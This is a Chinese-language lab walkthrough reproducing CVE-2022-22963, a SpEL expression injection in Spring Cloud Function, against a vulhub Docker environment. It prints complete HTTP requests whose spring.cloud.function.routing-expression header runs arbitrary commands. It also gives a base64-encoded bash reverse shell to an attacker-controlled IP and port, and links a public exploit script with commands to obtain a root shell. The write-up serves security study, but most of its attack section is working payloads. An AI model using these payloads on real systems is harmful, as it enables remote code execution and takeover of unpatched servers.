漏洞编号:CVE-2022-22963
一、漏洞简述
Spring Cloud Function
是基于Spring Boot
的函数计算框架(FaaS),该项目提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像Amazon AWS Lambda 这样的 FaaS(函数即服务,function as a service)平台。它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。
在版本3.0.0到当前最新版本3.2.2(commit dc5128b)
,默认配置下,都存在Spring Cloud Function SpEL表达式注入漏洞。
二、漏洞环境搭建
1、漏洞环境搭建
cd vulhub-master/spring/CVE-2022-22963
docker-compose up -d
- 访问:
172.16.7.110:8080
,出现以下界面,漏洞环境搭建成功。
2、漏洞复现
burpsuite
抓包,修改请求包:
- 将请求方式改为
post
,修改请求地址。 - 添加
Content-Type: text/plain
。 - 添加命令执行payload:
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("执行的命令")
POST /functionRouter HTTP/1.1
Host: 172.16.7.110:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
Content-Type: text/plain
Upgrade-Insecure-Requests: 1
Content-Length: 8
test
进入docker
容器,发现ssuccess
文件创建成功。
3、反弹shell
- 命令准备:
反弹shell命令:
bash -i >& /dev/tcp/172.16.7.105/8899 0>&1bash -i >&
base64加密:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuNy4xMDUvODg5OSAwPiYx}|{base64,-d}|{bash,-i}
- 修改数据包后,发送数据包:
POST /functionRouter HTTP/1.1
Host: 172.16.7.110:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuNy4xMDUvODg5OSAwPiYx}|{base64,-d}|{bash,-i}")
Content-Type: text/plain
Upgrade-Insecure-Requests: 1
Content-Length: 4
test
kali
监听端口成功反弹到shell
。
4、利用vulfocus在线靶场进行复现
因为操作都是一样的,所有这里正好试了一下网上的POC
和EXP
:
- 环境搭建,利用
vulfocus
在线靶场,启动漏洞环境,访问:
- POC和EXP下载:
https://github.com/chaosec2021/Spring-cloud-function-SpEL-RCE
- 漏洞检测:
python Spel_RCE_POC.py url.txt
- 反弹shell:
python Spel_RCE_Bash_EXP.py url lhost lport
反弹到root shell